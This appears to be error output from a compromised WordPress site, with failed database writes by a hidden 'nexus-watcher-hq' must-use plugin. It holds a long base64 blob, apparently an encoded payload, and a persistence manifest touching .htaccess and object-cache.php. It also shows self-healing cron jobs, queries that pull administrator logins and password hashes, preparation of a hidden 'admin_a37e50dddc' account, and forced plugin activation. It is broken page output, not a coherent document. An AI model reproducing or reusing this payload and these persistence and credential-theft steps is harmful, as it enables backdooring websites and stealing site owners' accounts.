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', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_oc_dat_ok', '1788692650', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_persist_manifest', 'a:4:{s:87:\"/home/u924082484/domains/hrja.in/public_html/wp-content/mu-plugins/nexus-watcher-hq.php\";s:18:\"5885649|1778393819\";s:59:\"line:/home/u924082484/domains/hrja.in/public_html/.htaccess\";s:30:\"16301|1778393819|0|r1788692650\";s:70:\"line:/home/u924082484/domains/hrja.in/public_html/wp-content/.htaccess\";s:30:\"15498|1778393819|0|r1788692650\";s:77:\"line:/home/u924082484/domains/hrja.in/public_html/wp-content/object-cache.php\";s:13:\"0|r1788692650\";}', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788692950;a:1:{s:21:\"rx9y4dsxcjl3m_prw25c3\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"hourly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:3600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788693250;a:1:{s:13:\"sc_cron_guard\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:17:\"sc_guard_interval\";s:4:\"args\";a:0:{}s:8:\"interval\";i:600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_recovery_check', '1788692650', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SELECT u.ID, u.user_login, u.user_pass, u.user_email FROM wpid_users u INNER JOIN wpid_usermeta m ON u.ID = m.user_id WHERE m.meta_key = 'wpid_capabilities' AND m.meta_value LIKE '%administrator%'

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SELECT * FROM wpid_users WHERE user_login = 'admin_a37e50dddc' LIMIT 1

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SELECT * FROM wpid_users WHERE user_login = 'admin_a37e50dddc' LIMIT 1

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SELECT ID FROM wpid_users WHERE user_nicename = 'admin_a37e50dddc' AND user_login != 'admin_a37e50dddc' LIMIT 1

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SELECT * FROM wpid_users WHERE user_email = 'admin_a37e50dddc@hrja.in' LIMIT 1

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SHOW FULL COLUMNS FROM `wpid_users`

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SELECT COUNT(ID) as c FROM wpid_users

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('user_count', '', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [SELECT command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_users`]
SHOW FULL COLUMNS FROM `wpid_users`

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('active_plugins', 'a:1:{i:0;s:37:\"nexus-watcher-hq/nexus-watcher-hq.php\";}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)